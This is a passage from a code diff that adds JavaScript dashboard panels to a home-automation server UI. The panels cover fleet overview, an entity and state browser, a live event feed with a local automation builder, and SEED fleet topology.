+        metric({ icon: '⏱', value: fmtUptime(a.uptime_s), label: 'Uptime', color: 'green' }));
+      const healthCard = card({ title: 'v0 Appliance health', children: [strip, servicesRow(a.services)] });
+      return h('div', healthCard, eventBus(a, ctx, (fn) => { cleanupEvent = fn; }));
+    });
+
+    // ── SEED fleet overview + ESP32 summary ────────────────────────
+    await section(root, 'SEED Fleet', async () => {
+      const wrap = h('div');
+      const seeds = await api.seeds();
+      const warnings = await api.esp32Warnings().catch(() => []);
+      const grid = h('.grid.cols-3');
+      seeds.forEach((s) => grid.appendChild(seedCard(s, ctx)));
+      wrap.appendChild(h('h2', 'SEED Fleet'));
+      wrap.appendChild(grid);
+      wrap.appendChild(esp32Summary(seeds, warnings));
+      return wrap;
+    });
+
+    // ── COG runtime status row ─────────────────────────────────────
+    await section(root, 'COG Runtime', async () => cogRow(await api.cogs(), ctx));
+
+    return () => cleanupEvent();
+  },
+};
+
+// Run one dashboard section; on failure append a typed error card instead
+// of throwing (so the rest of the dashboard still renders).
+async function section(root, label, build) {
+  try { root.appendChild(await build()); }
+  catch (e) {
+    root.appendChild(card({ children: [
+      h('.banner.red', `${label} unavailable — ${e && e.message ? e.message : e}`),
+      h('small.ts', e && e.upstreamUnavailable ? 'upstream not yet wired (ADR-131 §12)' : 'check the gateway / homecore-server'),
+    ] }));
+  }
+}
+
+function servicesRow(services) {
+  const wrap = h('.flex.wrap.mt');
+  services.forEach((s) => wrap.appendChild(h('span.flex.gap-sm', statusPill(s.status), h('span.mono.t2', `${s.name}:${s.port}`))));
+  return wrap;
+}
+
+function seedCard(s, ctx) {
+  const offline = !s.online;
+  const c = card({
+    tint: offline ? 'red' : null, clickable: true,
+    onClick: () => ctx.navigate('#/seed/' + s.device_id),
+    children: [
+      h('.flex.spread', h('strong.mono', s.device_id), statusPill(s.online ? 'online' : 'offline')),
+      h('.kv.mt',
+        h('span.k', 'Firmware'), h('span.v.mono', s.firmware),
+        h('span.k', 'Epoch'), h('span.v.purple', String(s.epoch)),
+        h('span.k', 'Vectors'), h('span.v', s.vector_count.toLocaleString()),
+        h('span.k', 'Last ingest'), h('span.v', relAgo(s.last_ingest)),
+        h('span.k', 'Witness'), s.witness_valid ? pill('valid', 'green') : pill('invalid', 'red')),
+      sensorSummary(s.sensors),
+    ],
+  });
+  return c;
+}
+
+function sensorSummary(sensors) {
+  if (!sensors) return h('.muted-empty', 'sensors offline');
+  return h('.flex.wrap.gap-sm.mt',
+    pill('PIR ' + (sensors.pir.motion ? 'motion' : 'still'), sensors.pir.motion ? 'amber' : 'grey'),
+    pill('door ' + (sensors.reed.open ? 'open' : 'closed'), sensors.reed.open ? 'amber' : 'grey'),
+    pill(sensors.bme280.temp_c + '°C', 'cyan'));
+}
+
+function esp32Summary(seeds, warnings) {
+  const total = seeds.reduce((n, s) => n + s.esp32_nodes, 0);
+  const body = h('div',
+    h('.flex.wrap',
+      ...seeds.filter((s) => s.esp32_nodes > 0).map((s) =>
+        h('span.flex.gap-sm', h('span.mono.t2', s.device_id), pill(s.esp32_nodes + ' nodes', 'cyan'), h('span.t2', s.frame_rate_hz + ' Hz')))));
+  if (warnings.length) {
+    body.appendChild(h('.mt', h('h3', 'Warnings (target 100 Hz CSI + 1 Hz vectors)')));
+    warnings.forEach((w) => body.appendChild(h('.row', h('span.mono', w.node_id), h('span.amber', w.issue))));
+  }
+  return card({ title: `ESP32 Nodes — ${total} active`, children: [body] });
+}
+
+function cogRow(cogs, ctx) {
+  const row = h('.flex.wrap.gap-sm');
+  cogs.forEach((c) => {
+    const p = statusPill(c.status);
+    const wrap = h('span.flex.gap-sm.clickable', { style: { cursor: 'pointer' }, onClick: () => ctx.navigate('#/cogs') },
+      p, h('span.mono.t2', c.id), c.arch === 'hailo10' ? pill('hailo', 'purple') : null);
+    row.appendChild(wrap);
+  });
+  return card({ title: 'COG Runtime', children: [row] });
+}
+
+function eventBus(a, ctx, setCleanup) {
+  const rates = a.event_rate || [];
+  const spark = sparkline(rates, { w: 240, hgt: 36 });
+  const rate = rates.length ? rates[rates.length - 1] : 0;
+  const lag = a.channel_lag || 0;
+  const cap = a.channel_capacity || 4096;
+  const body = h('div',
+    h('.flex.spread', h('span.val.cyan', { style: { fontSize: '20px' } }, rate + ' ev/s'),
+      h('span.t2', `capacity ${cap.toLocaleString()}`)),
+    spark);
+  if (lag > 0) body.appendChild(h('.banner.amber.mt', `Subscriber falling behind — ${lag} events lagged against the ${cap.toLocaleString()} capacity`));
+  const host = h('span.t2');
+  const un = ctx.onWs((st) => { clear(host); host.appendChild(document.createTextNode(st.state === 'open' ? (st.lagged ? ' · WS lagging' : ' · WS live') : ' · WS offline')); });
+  body.appendChild(host);
+  if (setCleanup) setCleanup(un);
+  return card({ title: 'Event Bus activity', children: [body] });
+}
+
+// §6 honesty: a null/undefined metric must render a distinct not-available
+// state ('—'), never a fabricated value like "null%"/"null°C".
+function pctOrNA(v) { return v == null ? '—' : v + '%'; }
+function unitOrNA(v, unit) { return v == null ? '—' : v + unit; }
+
+function fmtUptime(s) {
+  if (s == null) return '—';
+  const d = Math.floor(s / 86400), hh = Math.floor((s % 86400) / 3600);
+  return d > 0 ? `${d}d ${hh}h` : `${hh}h`;
+}
+function relAgo(iso) {
+  const s = Math.round((Date.now() - Date.parse(iso)) / 1000);
+  if (s < 60) return s + 's ago';
+  if (s < 3600) return Math.round(s / 60) + 'm ago';
+  return Math.round(s / 3600) + 'h ago';
+}

v2/crates/homecore-server/ui/js/panels/entities.js

@@ -0,0 +1,240 @@
+// §4.4 Entity & State Browser — live /api/states (real homecore REST).
+//
+// Entities grouped by domain (prefix before '.') in collapsible sections.
+// Each row carries entity_id (mono), current state, last-changed (relTime),
+// an INLINE provenanceBadge (§6 invariant 1 — SEED chain never collapsed),
+// and a collapsible attributes JSON view. A keyword filter (entity_id +
+// attribute keys/values) runs live; semantic search (ADR-132) is a future
+// hint. State changes arrive over WebSocket (ctx.onEvent) — rows patch in
+// place and flash; NEVER poll. The broadcast-channel lag indicator
+// (ctx.onWs) warns when the subscriber falls behind the 4,096 capacity.
+
+import {
+  h, clear, card, pill, sectionHeader, mono, provenanceBadge,
+  slideover, collapsible, lagIndicator, relTime, banner,
+} from '../ui.js';
+import { api, entityProvenance } from '../api.js';
+
+export default {
+  meta: { title: 'Entities' },
+  async render(root, ctx) {
+    root.appendChild(sectionHeader('Entity & State Browser', 'Live /api/states — every entity, grouped by domain, with SEED provenance'));
+
+    // ── lag indicator (broadcast channel vs 4,096 capacity) ─────────
+    const lagHost = h('.flex.spread.mb');
+    const lagSlot = h('span', lagIndicator('connecting', false));
+    lagHost.appendChild(lagSlot);
+    root.appendChild(lagHost);
+
+    // ── search / filter controls ────────────────────────────────────
+    const search = h('input.search', {
+      type: 'text',
+      placeholder: 'Filter entities — id, attribute keys & values (case-insensitive)…',
+    });
+    const semantic = h('input.search', { type: 'text', placeholder: 'Semantic search (ADR-132)' });
+    semantic.disabled = true;
+    semantic.style.opacity = '0.5';
+    root.appendChild(h('.flex.wrap.mb', { style: { gap: '8px' } },
+      h('div', { style: { flex: '2', minWidth: '220px' } }, search),
+      h('div', { style: { flex: '1', minWidth: '180px' } }, semantic)));
+
+    // ── load live state view ────────────────────────────────────────
+    const listHost = h('div');
+    root.appendChild(listHost);
+
+    // Production /api/states now THROWS on failure — there is NO mock
+    // fallback. A failed load is an error state, not a DEMO substitution.
+    let states;
+    try {
+      states = await api.states();
+    } catch (e) {
+      listHost.appendChild(banner('/api/states unavailable — ' + (e && e.message ? e.message : e), 'red'));
+      return () => {};
+    }
+    if (!Array.isArray(states)) states = [];
+
+    // Demo mode legitimately serves fixtures (demoFlags.states is set by a
+    // successful api.states() in demo mode) — label that, not a fallback.
+    if (api.isDemo('states')) {
+      root.insertBefore(banner('Demo mode — showing contract-conformant fixture entities (§7.1).', 'amber'), listHost);
+    }
+
+    // index by entity_id so WS patches are O(1)
+    const byId = new Map();
+    states.forEach((s) => byId.set(s.entity_id, s));
+    // per-entity row controllers (set state text + flash)
+    const rows = new Map();
+
+    function render() {
+      clear(listHost);
+      const q = search.value.trim().toLowerCase();
+      const groups = groupByDomain([...byId.values()], q);
+      if (!groups.size) {
+        listHost.appendChild(h('.muted-empty', q ? 'No entities match the filter.' : 'No entities reported.'));
+        return;
+      }
+      // stable alphabetical domain order
+      [...groups.keys()].sort().forEach((domain) => {
+        const ents = groups.get(domain).sort((a, b) => a.entity_id.localeCompare(b.entity_id));
+        const header = h('.flex.gap-sm', h('strong.mono', domain), pill(ents.length, 'cyan'));
+        const section = collapsible(header, () => {
+          const body = h('div');
+          ents.forEach((e) => body.appendChild(entityRow(e)));
+          return body;
+        }, true);
+        listHost.appendChild(card({ children: [section] }));
+      });
+    }
+
+    function entityRow(e) {
+      const stateText = h('span.t1.mono', String(e.state));
+      const changed = h('span.t3', relTime(e.last_changed));
+      const top = h('.flex.spread', { style: { cursor: 'pointer', gap: '12px' }, onClick: () => openDetail(e) },
+        h('.flex.wrap.gap-sm', { style: { flex: '1', minWidth: '0' } },
+          mono(e.entity_id),
+          stateText,
+          changed),
+        // SEED provenance badge — INLINE, never collapsed (§6 invariant 1)
+        provenanceBadge(entityProvenance(e)));
+      const attrs = collapsible(h('span.t2', 'attributes'),
+        () => h('pre.json', JSON.stringify(e.attributes || {}, null, 2)), false);
+      const wrap = h('.entity-row', { style: { padding: '8px 0', borderBottom: '0.67px solid var(--border)' } }, top, attrs);
+      rows.set(e.entity_id, { stateText, changed, wrap });
+      return wrap;
+    }
+
+    function openDetail(e) {
+      const chain = contextChain(e.context, byId);
+      const content = h('div',
+        h('.kv',
+          h('span.k', 'entity_id'), h('span.v.mono', e.entity_id),
+          h('span.k', 'state'), h('span.v.mono', String(e.state)),
+          h('span.k', 'last changed'), h('span.v', relTime(e.last_changed)),
+          h('span.k', 'last updated'), h('span.v', relTime(e.last_updated))),
+        h('.mt', h('h3', 'Provenance'), provenanceBadge(entityProvenance(e))),
+        h('.mt', h('h3', 'Context causality'), chain),
+        h('.mt', h('h3', 'Attributes'), h('pre.json', JSON.stringify(e.attributes || {}, null, 2))));
+      slideover(e.entity_id, content);
+    }
+
+    render();
+    search.addEventListener('input', render);
+
+    // ── live WebSocket: patch state in place + flash (never poll) ────
+    const unEvent = ctx.onEvent((ev) => {
+      if (!ev || ev.event_type !== 'state_changed' || !ev.entity_id) return;
+      const cur = byId.get(ev.entity_id);
+      const ns = ev.new_state || {};
+      if (cur) {
+        // merge live fields onto the existing record
+        cur.state = ns.state != null ? ns.state : cur.state;
+        if (ns.attributes) cur.attributes = ns.attributes;
+        if (ns.last_changed) cur.last_changed = ns.last_changed;
+        if (ns.last_updated) cur.last_updated = ns.last_updated;
+        if (ns.context) cur.context = ns.context;
+        patchRow(ev.entity_id);
+      } else {
+        // a newly-appeared entity — fold it in and re-render the group
+        byId.set(ev.entity_id, {
+          entity_id: ev.entity_id,
+          state: ns.state != null ? ns.state : 'unknown',
+          attributes: ns.attributes || {},
+          last_changed: ns.last_changed || new Date().toISOString(),
+          last_updated: ns.last_updated || new Date().toISOString(),
+          context: ns.context || { id: null, user_id: null, parent_id: null },
+        });
+        render();
+        patchRow(ev.entity_id);
+      }
+    });
+
+    function patchRow(id) {
+      const e = byId.get(id);
+      const r = rows.get(id);
+      if (!e || !r) return;
+      r.stateText.textContent = String(e.state);
+      r.changed.textContent = relTime(e.last_changed);
+      // flash cyan then revert after 800ms (§4.4 live feedback)
+      r.stateText.style.color = 'var(--cyan)';
+      r.stateText.style.transition = 'none';
+      setTimeout(() => {
+        r.stateText.style.transition = 'color .6s ease';
+        r.stateText.style.color = '';
+      }, 800);
+    }
+
+    // ── broadcast-channel lag indicator ─────────────────────────────
+    const unWs = ctx.onWs((st) => {
+      clear(lagSlot);
+      lagSlot.appendChild(lagIndicator(st.state, st.lagged));
+      if (st.lagged) {
+        lagSlot.title = 'Subscriber behind the 4,096-event capacity — some state_changed events were dropped';
+      }
+    });
+
+    return () => { unEvent(); unWs(); };
+  },
+};
+
+/**
+ * Group entities by domain (prefix before the first '.'), applying the
+ * keyword filter across entity_id AND attribute keys/values.
+ */
+function groupByDomain(entities, q) {
+  const groups = new Map();
+  for (const e of entities) {
+    if (q && !matches(e, q)) continue;
+    const dot = e.entity_id.indexOf('.');
+    const domain = dot > 0 ? e.entity_id.slice(0, dot) : '(no domain)';
+    if (!groups.has(domain)) groups.set(domain, []);
+    groups.get(domain).push(e);
+  }
+  return groups;
+}
+
+/** Case-insensitive match across entity_id, state and attribute keys/values. */
+function matches(e, q) {
+  if (e.entity_id.toLowerCase().includes(q)) return true;
+  if (String(e.state).toLowerCase().includes(q)) return true;
+  const attrs = e.attributes || {};
+  for (const [k, v] of Object.entries(attrs)) {
+    if (k.toLowerCase().includes(q)) return true;
+    try {
+      if (String(typeof v === 'object' ? JSON.stringify(v) : v).toLowerCase().includes(q)) return true;
+    } catch (_) { /* circular/unstringifiable — skip */ }
+  }
+  return false;
+}
+
+/**
+ * Render the Context causality chain (context.id → parent_id) as a mono
+ * breadcrumb trail. Walks parent_id up through known contexts when the
+ * parent entity is present, otherwise shows the raw id.
+ */
+function contextChain(ctxObj, byId) {
+  if (!ctxObj || !ctxObj.id) return h('span.t3', 'no context');
+  const seen = new Set();
+  const ids = [];
+  let cur = ctxObj;
+  while (cur && cur.id && !seen.has(cur.id)) {
+    seen.add(cur.id);
+    ids.unshift(cur.id);
+    if (!cur.parent_id) break;
+    ids.unshift(cur.parent_id);
+    seen.add(cur.parent_id);
+    cur = findContext(cur.parent_id, byId);
+  }
+  const trail = h('.flex.wrap.gap-sm');
+  ids.forEach((id, i) => {
+    if (i > 0) trail.appendChild(h('span.arr.t3', '→'));
+    trail.appendChild(mono(id));
+  });
+  return trail;
+}
+
+function findContext(id, byId) {
+  for (const e of byId.values()) {
+    if (e.context && e.context.id === id) return e.context;
+  }
+  return null;
+}

v2/crates/homecore-server/ui/js/panels/events.js

@@ -0,0 +1,308 @@
+// §4.8 Event Bus & Automation Feed — ADR-131 / ADR-129.
+//
+// Live event stream (seeded from /api/events, then prepended live from
+// the shared WS bus — never polled, §2/§4.4), a context-causality
+// breadcrumb on row expand (Context.id → parent_id → grandparent_id),
+// and a trigger→condition→action automation builder (ADR-129 scope:
+// UI-only, no backend persistence — rules live in a local array).
+
+import {
+  h, clear, card, pill, statusPill, sectionHeader, mono, relTime,
+  collapsible, lagIndicator, button, banner,
+} from '../ui.js';
+
+const MAX_ROWS = 200; // virtualization-lite: cap DOM rows, drop oldest.
+
+// event-type → pill colour variant (§4.8).
+const VARIANT = {
+  StateChanged: 'cyan',
+  EntityRegistered: 'green',
+  ConfigReloaded: 'purple',
+};
+function typePill(type) {
+  return pill(type, VARIANT[type] || 'grey');
+}
+
+// A live WS event carries event_type:'state_changed'; normalise it into
+// the same record shape as api.recentEvents() so the row renderer is one
+// code path.
+function normalizeLive(evt) {
+  return {
+    type: 'StateChanged',
+    entity_id: evt.entity_id,
+    old_state: evt.old_state,
+    new_state: evt.new_state,
+    ts: new Date().toISOString(),
+    user_id: null,
+    context: { id: null, parent_id: null, grandparent_id: null },
+    source: 'live',
+    _live: true,
+  };
+}
+
+const domainOf = (id) => String(id || '').split('.')[0] || '';
+
+export default {
+  meta: { title: 'Events' },
+  async render(root, ctx) {
+    const { api } = ctx;
+    const unsubs = [];
+
+    root.appendChild(sectionHeader('Event Bus & Automation', 'Live entity events + causality + automation builder (ADR-131 §4.8, ADR-129)'));
+    if (api.isDemo('events')) {
+      root.appendChild(banner('DEMO — event history is contract-conformant mock data until the live /api/events feed lands (§7.1). New rows still arrive over the WS bus.', 'amber'));
+    }
+
+    // ── live lag indicator (top, fed by the shared WS bus) ──────────
+    const lagHost = h('span');
+    const paintLag = (st) => { clear(lagHost); lagHost.appendChild(lagIndicator(st.state, st.lagged)); };
+    unsubs.push(ctx.onWs(paintLag)); // fires immediately
+
+    // ── filter bar (mirrors the Cog Store .search field) ────────────
+    let filter = '';
+    const search = h('input.search', {
+      type: 'text',
+      placeholder: 'Filter by entity domain · event type · source (e.g. "sensor", "ConfigReloaded", "seed-")',
+    });
+    search.addEventListener('input', () => { filter = search.value.trim().toLowerCase(); applyFilter(); });
+
+    const list = h('.event-stream', { style: { maxHeight: '460px', overflowY: 'auto' } });
+    let rows = []; // { record, node } newest-first, capped to MAX_ROWS.
+
+    function matches(rec) {
+      if (!filter) return true;
+      const hay = [rec.type, rec.entity_id, domainOf(rec.entity_id), rec.source, rec.user_id]
+        .filter(Boolean).join(' ').toLowerCase();
+      return hay.includes(filter);
+    }
+    function applyFilter() {
+      for (const r of rows) r.node.classList.toggle('hidden', !matches(r.record));
+    }
+
+    function prepend(rec) {
+      const node = eventRow(rec);
+      rows.unshift({ record: rec, node });
+      list.insertBefore(node, list.firstChild);
+      node.classList.toggle('hidden', !matches(rec));
+      while (rows.length > MAX_ROWS) {
+        const old = rows.pop();
+        if (old.node.parentNode) old.node.parentNode.removeChild(old.node);
+      }
+    }
+
+    // seed from history (oldest first → prepend so newest ends on top).
+    // Wrap ONLY the history load: a missing/unwired recorder must NOT fail
+    // the panel — render an inline note and continue with an empty history.
+    // The live ctx.onEvent feed (below) attaches regardless (§12 W3).
+    let history = [];
+    let historyNote = null;
+    try {
+      history = await api.recentEvents(40);
+    } catch (e) {
+      history = [];
+      historyNote = banner('Event history unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (recorder not yet wired — ADR-131 §12 W3)' : ''), 'amber');
+    }
+    for (let i = history.length - 1; i >= 0; i--) prepend(history[i]);
+    if (!rows.length) list.appendChild(h('.muted-empty', 'No events yet — live events will appear here as they arrive.'));
+
+    // live events prepend as they arrive (never poll).
+    unsubs.push(ctx.onEvent((evt) => {
+      // strip the placeholder empty-state once real rows arrive.
+      const empty = list.querySelector('.muted-empty');
+      if (empty) empty.remove();
+      prepend(normalizeLive(evt));
+    }));
+
+    root.appendChild(card({
+      title: 'Live event stream',
+      children: [historyNote, h('.flex.spread.mb', h('span.t2', 'Newest first · capped to ' + MAX_ROWS + ' rows'), lagHost), search, list],
+    }));
+
+    // ── automation builder (ADR-129) ────────────────────────────────
+    root.appendChild(automationBuilder(api));
+
+    return () => { unsubs.forEach((u) => { try { u(); } catch {} }); };
+  },
+};
+
+// ── event row + causality breadcrumb ──────────────────────────────────
+function eventRow(rec) {
+  const head = h('.flex.gap-sm.wrap',
+    typePill(rec.type),
+    h('strong.mono', rec.entity_id),
+    rec.type === 'StateChanged'
+      ? h('span.t2', mono(rec.old_state == null ? '∅' : rec.old_state), h('span.arr.t3', { style: { margin: '0 6px' } }, '→'), mono(rec.new_state == null ? '∅' : rec.new_state))
+      : null,
+    h('span', { style: { marginLeft: 'auto' } }, h('small.ts', relTime(rec.ts))),
+    rec.user_id ? pill('@' + rec.user_id, 'amber') : h('small.ts', 'system'),
+    rec.source ? h('span.mono.t3', rec.source) : null);
+
+  return h('.event-row', { style: { padding: '6px 0', borderBottom: '0.67px solid var(--border)' } },
+    collapsible(head, () => causalityBreadcrumb(rec.context), false));
+}
+
+function causalityBreadcrumb(c) {
+  const wrap = h('.causality', { style: { padding: '8px 0 4px' } });
+  wrap.appendChild(h('span.t2', { style: { marginRight: '8px' } }, 'Context chain'));
+  const chain = [
+    ['id', c && c.id],
+    ['parent', c && c.parent_id],
+    ['grandparent', c && c.grandparent_id],
+  ].filter(([, v]) => v != null);
+  if (!chain.length) {
+    wrap.appendChild(h('span.t3', 'no context recorded for this event'));
+    return wrap;
+  }
+  chain.forEach(([label, val], i) => {
+    if (i > 0) wrap.appendChild(h('span.arr.t3', { style: { margin: '0 8px' } }, '→'));
+    wrap.appendChild(h('span.flex.gap-sm', { style: { display: 'inline-flex' } },
+      h('small.ts', label), mono(val)));
+  });
+  return wrap;
+}
+
+// ── automation builder (trigger → condition → action) ─────────────────
+const TRIGGERS = [
+  { id: 'state_changed', label: 'state_changed on RoomState entity' },
+  { id: 'seed_reflex', label: 'SEED reflex rule fired' },
+  { id: 'custom_event', label: 'custom domain_event topic' },
+];
+const REFLEX_RULES = ['fragility_alarm', 'hd_anomaly_indicator'];
+const ACTION_KINDS = [
+  { id: 'call_service', label: 'Call service' },
+  { id: 'fire_event', label: 'Fire domain event' },
+];
+
+function automationBuilder(api) {
+  const rules = [];
+  const listHost = h('div');
+
+  // Default callable-service options; enriched asynchronously from the
+  // live service registry when reachable (failures are swallowed — the
+  // builder stays usable with defaults, and we never leave a dangling
+  // rejected promise in production).
+  const serviceOpts = ['light.turn_on', 'light.turn_off', 'notify.mobile', 'homecore.recalibrate_room'];
+  Promise.resolve()
+    .then(() => api.services())
+    .then((services) => {
+      (services || []).forEach((s) => {
+        const name = (s.domain && s.service) ? `${s.domain}.${s.service}` : String(s.name || s.id || s);
+        if (name && !serviceOpts.includes(name)) { serviceOpts.push(name); serviceSel.appendChild(h('option', { value: name }, name)); }
+      });
+    })
+    .catch(() => {});
+
+  // ── trigger editor ──
+  const triggerSel = sel(TRIGGERS.map((t) => [t.id, t.label]));
+  const thresholdInput = h('input.search.mono', { type: 'text', placeholder: 'threshold expression — e.g. anomaly.value > 0.8' });
+  const reflexSel = sel(REFLEX_RULES.map((r) => [r, r]));
+  const customInput = h('input.search.mono', { type: 'text', placeholder: 'domain_event topic — e.g. presence.regime_change' });
+  const triggerExtra = h('div', { style: { marginTop: '8px' } });
+  function paintTriggerExtra() {
+    clear(triggerExtra);
+    if (triggerSel.value === 'state_changed') triggerExtra.appendChild(thresholdInput);
+    else if (triggerSel.value === 'seed_reflex') triggerExtra.appendChild(field('Reflex rule', reflexSel));
+    else triggerExtra.appendChild(customInput);
+  }
+  triggerSel.addEventListener('change', paintTriggerExtra);
+  paintTriggerExtra();
+
+  // ── condition editor ──
+  const conditionInput = h('input.search.mono', { type: 'text', placeholder: 'condition expression — e.g. room.living_room.presence == "occupied"' });
+
+  // ── action editor ──
+  const actionSel = sel(ACTION_KINDS.map((a) => [a.id, a.label]));
+  const serviceSel = sel(serviceOpts.map((s) => [s, s]));
+  const eventInput = h('input.search.mono', { type: 'text', placeholder: 'domain event to fire — e.g. automation.lr_night_dim' });
+  const actionExtra = h('div', { style: { marginTop: '8px' } });
+  function paintActionExtra() {
+    clear(actionExtra);
+    if (actionSel.value === 'call_service') actionExtra.appendChild(field('Service', serviceSel));
+    else actionExtra.appendChild(eventInput);
+  }
+  actionSel.addEventListener('change', paintActionExtra);
+  paintActionExtra();
+
+  function buildTrigger() {
+    if (triggerSel.value === 'state_changed') return { kind: 'state_changed', entity: 'RoomState', threshold: thresholdInput.value.trim() };
+    if (triggerSel.value === 'seed_reflex') return { kind: 'seed_reflex', rule: reflexSel.value };
+    return { kind: 'custom_event', topic: customInput.value.trim() };
+  }
+  function buildAction() {
+    if (actionSel.value === 'call_service') return { kind: 'call_service', service: serviceSel.value };
+    return { kind: 'fire_event', event: eventInput.value.trim() };
+  }
+
+  const addBtn = button('Add automation', {
+    variant: 'primary',
+    onClick: () => {
+      rules.push({ trigger: buildTrigger(), condition: conditionInput.value.trim(), action: buildAction() });
+      thresholdInput.value = ''; customInput.value = ''; conditionInput.value = ''; eventInput.value = '';
+      renderRules();
+    },
+  });
+
+  function renderRules() {
+    clear(listHost);
+    if (!rules.length) { listHost.appendChild(h('.muted-empty', 'No automations defined yet (UI-only — not persisted).')); return; }
+    rules.forEach((r, i) => listHost.appendChild(ruleCard(r, i, () => { rules.splice(i, 1); renderRules(); })));
+  }
+  renderRules();
+
+  const builder = card({
+    title: 'Automation builder',
+    children: [
+      h('.t3.mb', 'Trigger → condition → action (ADR-129). UI scope only — assembled rules are held locally, not persisted to the appliance.'),
+      h('.grid.cols-3',
+        card({ title: 'Trigger', tint: null, children: [field('When', triggerSel), triggerExtra] }),
+        card({ title: 'Condition', children: [field('And', conditionInput)] }),
+        card({ title: 'Action', children: [field('Then', actionSel), actionExtra] })),
+      h('.flex.mt', addBtn),
+    ],
+  });
+
+  return h('div', builder, card({ title: 'Defined automations', children: [listHost] }));
+}
+
+function ruleCard(r, i, onDelete) {
+  return card({
+    children: [
+      h('.flex.spread',
+        h('strong', 'Automation #' + (i + 1)),
+        button('Remove', { variant: 'ghost', onClick: onDelete })),
+      h('.flex.gap-sm.wrap.mt',
+        pill('TRIGGER', 'cyan'), triggerSummary(r.trigger)),
+      r.condition
+        ? h('.flex.gap-sm.wrap.mt', pill('IF', 'amber'), mono(r.condition))
+        : h('.flex.gap-sm.wrap.mt', pill('IF', 'grey'), h('span.t3', 'always')),
+      h('.flex.gap-sm.wrap.mt',
+        pill('ACTION', 'purple'), actionSummary(r.action)),
+    ],
+  });
+}
+
+function triggerSummary(t) {
+  if (t.kind === 'state_changed') return h('span', mono('RoomState'), ' ', t.threshold ? mono(t.threshold) : h('span.t3', '(any change)'));
+  if (t.kind === 'seed_reflex') return h('span', h('span.t2', 'reflex '), mono(t.rule || '—'));
+  return h('span', h('span.t2', 'event '), mono(t.topic || '—'));
+}
+function actionSummary(a) {
+  if (a.kind === 'call_service') return h('span', h('span.t2', 'call '), mono(a.service || '—'));
+  return h('span', h('span.t2', 'fire '), mono(a.event || '—'));
+}
+
+// ── small form helpers ────────────────────────────────────────────────
+function sel(pairs) {
+  const s = h('select.inline', { style: { width: '100%' } });
+  for (const [val, label] of pairs) {
+    const o = document.createElement('option');
+    o.value = val; o.textContent = label;
+    s.appendChild(o);
+  }
+  return s;
+}
+function field(label, control) {
+  return h('label', { style: { display: 'block', marginTop: '8px' } },
+    h('span.k.t2', { style: { display: 'block', marginBottom: '4px', fontSize: '12.5px' } }, label),
+    control);
+}

v2/crates/homecore-server/ui/js/panels/fleet.js

@@ -0,0 +1,198 @@
+// §4.2 SEED Fleet overview + §4.3 SEED Fleet Map (node topology +
+// ESP-NOW mesh + cross-SEED event dedup) + ADR-105 federation config.
+//
+// One panel covering: the fleet card grid, the v0→SEED→ESP32 node
+// hierarchy, the mesh-link table, the cross-SEED fusion badges, and the
+// federation round config — with the §3.3 "model deltas only — never raw
+// CSI" invariant surfaced prominently (ADR-105 privacy guarantee).
+
+import { h, card, pill, statusPill, sectionHeader, relTime, banner } from '../ui.js';
+
+export default {
+  meta: { title: 'SEED Fleet' },
+  async render(root, ctx) {
+    const { api } = ctx;
+
+    root.appendChild(sectionHeader('SEED Fleet', 'Cross-SEED topology, ESP-NOW mesh & ADR-105 federation'));
+
+    // ── Load seeds + federation independently so one failing upstream
+    //    doesn't blank the whole panel (ADR-131 §2.2 / §11.11). ───────
+    let seeds = null, fed = null;
+    try { seeds = await api.seeds(); } catch (e) {
+      root.appendChild(banner('SEED fleet unavailable — ' + (e.message || e)
+        + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
+    }
+    try { fed = await api.federation(); } catch (e) {
+      root.appendChild(banner('SEED fleet unavailable — ' + (e.message || e)
+        + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
+    }
+
+    if (api.isDemo('fleet')) {
+      root.appendChild(h('.banner.amber',
+        'DEMO — the SEED HTTPS API and the ADR-105 federation service are not served by this homecore-server binary. '
+        + 'These panels render against their defined contract with contract-conformant mock data (ADR-131 §7.1).'));
+    }
+
+    // ── §4.2 SEED fleet overview ──────────────────────────────────────
+    if (seeds) {
+      root.appendChild(h('h2', 'Fleet overview'));
+      const grid = h('.grid.cols-3');
+      seeds.forEach((s) => grid.appendChild(seedCard(s, ctx)));
+      root.appendChild(grid);
+
+      // ── §4.3 Node hierarchy (v0 → SEED → ESP32) ─────────────────────
+      root.appendChild(card({ title: 'Node hierarchy', children: [hierarchy(seeds)] }));
+    }
+
+    if (fed) {
+      // ── §4.3 ESP-NOW mesh links ─────────────────────────────────────
+      root.appendChild(card({ title: 'ESP-NOW mesh links', children: [meshLinks(fed.mesh_links)] }));
+
+      // ── Cross-SEED event dedup / fusion ─────────────────────────────
+      root.appendChild(card({ title: 'Cross-SEED event dedup', children: [fusionBadges(fed.fused_events)] }));
+
+      // ── ADR-105 federation config ───────────────────────────────────
+      root.appendChild(federationConfig(fed));
+    }
+
+    return () => {};
+  },
+};
+
+// ── §4.2 SEED card ──────────────────────────────────────────────────
+function seedCard(s, ctx) {
+  const offline = !s.online;
+  return card({
+    tint: offline ? 'red' : null, clickable: true,
+    onClick: () => ctx.navigate('#/seed/' + s.device_id),
+    children: [
+      h('.flex.spread',
+        h('strong.mono', s.device_id),
+        statusPill(s.online ? 'online' : 'offline')),
+      h('.kv.mt',
+        h('span.k', 'Zone'), h('span.v', s.zone),
+        h('span.k', 'Firmware'), h('span.v.mono', s.firmware),
+        h('span.k', 'Epoch'), h('span.v.purple', String(s.epoch)),
+        h('span.k', 'Vectors'), h('span.v', (s.vector_count || 0).toLocaleString()),
+        h('span.k', 'Last ingest'), h('span.v', relTime(s.last_ingest))),
+      h('.flex.wrap.gap-sm.mt',
+        s.witness_valid ? pill('witness valid', 'green') : pill('witness invalid', 'red')),
+      sensorSummary(s.sensors),
+    ],
+  });
+}
+
+function sensorSummary(sensors) {
+  if (!sensors) return h('.muted-empty', 'sensors offline');
+  return h('.flex.wrap.gap-sm.mt',
+    pill('PIR ' + (sensors.pir.motion ? 'motion' : 'still'), sensors.pir.motion ? 'amber' : 'grey'),
+    pill('door ' + (sensors.reed.open ? 'open' : 'closed'), sensors.reed.open ? 'amber' : 'grey'),
+    pill(sensors.bme280.temp_c + '°C', 'cyan'));
+}
+
+// ── §4.3 Node hierarchy diagram (nested indented rows) ──────────────
+// v0 Appliance (ROOT) → SEEDs grouped by zone → ESP32 nodes (leaves).
+function hierarchy(seeds) {
